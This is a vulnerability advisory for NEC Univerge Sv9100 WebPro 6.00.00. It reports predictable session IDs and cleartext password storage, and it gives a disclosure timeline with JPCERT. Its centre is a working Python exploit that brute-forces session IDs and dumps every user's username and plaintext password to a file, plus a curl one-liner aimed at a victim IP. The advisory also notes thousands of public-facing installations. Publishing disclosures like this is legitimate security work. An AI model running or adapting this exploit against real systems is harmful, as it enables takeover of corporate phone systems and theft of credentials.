[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/NEC-UNIVERGE-WEBPRO-v6.00-PREDICTABLE-SESSIONID-CLEARTEXT-PASSWORDS.txt [+] ISR: ApparitionSec ***Greetz: indoushka | Eduardo B. 0day*** [Vendor] www.necam.com [Affected Product Code Base] NEC Univerge Sv9100 WebPro - 6.00.00 NEC Univerge WebPro, is a web-based programming tool for the NEC Switch, which is used to program corporate Telephone systems. Public facing installations as of Dec 1, 2018 https://www.shodan.io/search?query=Server+Henry Result: 7,797 [Vulnerability Type(s)] [CVE Reference(s)] Predictable Session ID - CVE-2018-11741 / Cleartext Password Storage - CVE-2018-11742 [Attack Vectors] Make repeated remote HTTP requests until arriving at a valid authenticated sessionId. Security Issue: ================ NEC Univerge WebPro suffers from a "Predictable Session ID" that can potentially disclose all user account information including passwords stored in clear text in the Web UI. Attackers can simply increment numbers until arriving at a live session, then by using a specific URI dump the entire account information for all users including the clear text passwords. e.g.. curl http://NEC-VICTIM-IP/Home.htm?sessionId=12959&GOTO(8) Exploit/POC: ============= from socket import * import re #Univerge Sv9100 NEC WebPro : 6.00 #Dumps user accounts and plaintext passwords stored in Web UI in Administrator Programming Password Setup' webpage #http://TARGET-IP/Home.htm?sessionId=12959&GOTO(8) "GOTO(8)" will retrieve all account usernames and cleartext passwords. print "NEC Univerge Sv9100 WebPro - 6.00.00 / Remote 0day Exploit POC" print "hyp3rlinx" IP=raw_input("[+] TARGET> ") res='' findme="Programming Password Setup" cnt=0 tmp=False tmp2=False pwned=False #check application is NEC and vuln version def is_NEC_webpro(u): global tmp,tmp2,cnt res='' cnt+=1 s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) s.send('GET '+u+' HTTP/1.1\r\nHost: '+IP+'\r\n\r\n') while True: res=s.recv(4048) if res.find('</html>')!=-1: break s.close() if re.findall(r"\bWebPro\b", res): tmp=True if tmp and cnt < 3: is_NEC_webpro('/Login.htm') if re.findall(r"\b6.00.00\b", res) and re.findall(r"\bNEC Corporation of America\b", res): tmp2 = True if tmp == True and tmp2 == True: return True return False def dump(acct): file=open('NEC-Accounts.txt', 'w') file.write(acct+'\n') file.close() def breach(sid): global pwned try: s=socket(AF_INET, SOCK_STREAM) s.connect((IP,80)) sid=str(sid) print 'trying sessid '+sid s.send('GET /Home.htm?sessionId%3d'+sid+'&GOTO(8)%20HTTP/1.1\r\nHost: '+IP+'\r\n\r\n') except Exception as e: print str(e) while True: res = s.recv(4096) if res.find('</html>')!=-1: break if re.findall(r"\bProgramming Password Setup\b",res)!=-1: ## We hit an active session. dump(res) print res pwned=True s.close() return pwned def sessgen(): for sessid in range(1000,15000): ##test 14109 if breach(sessid): break if __name__=='__main__': if is_NEC_webpro('/'): sessgen() else: print 'Not NEC or version not vuln.' Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ============================= Vendor Notification: May 15, 2018 No reply Vendor Notification: May 18, 2018 No reply Vendor Notification: June 4, 2018 No reply Mitre assign CVE: June 5, 2018 JPCERT replies: June 6, 2018 JPCERT shares information with NEC : June 7, 2018 Request status : August 11, 2018 JPCERT contact NEC : August 14, 2018 No reply from vendor Request status : August 21, 2018 JPCERT again contacts NEC : August 21, 2018 JPCERT "vendor working on a release" : August 23 2018 JPCERT "Vendor release October 2018" : September 12, 2018 NEC "Requests public disclosure after December 1st." : November 19, 2018 December 2, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).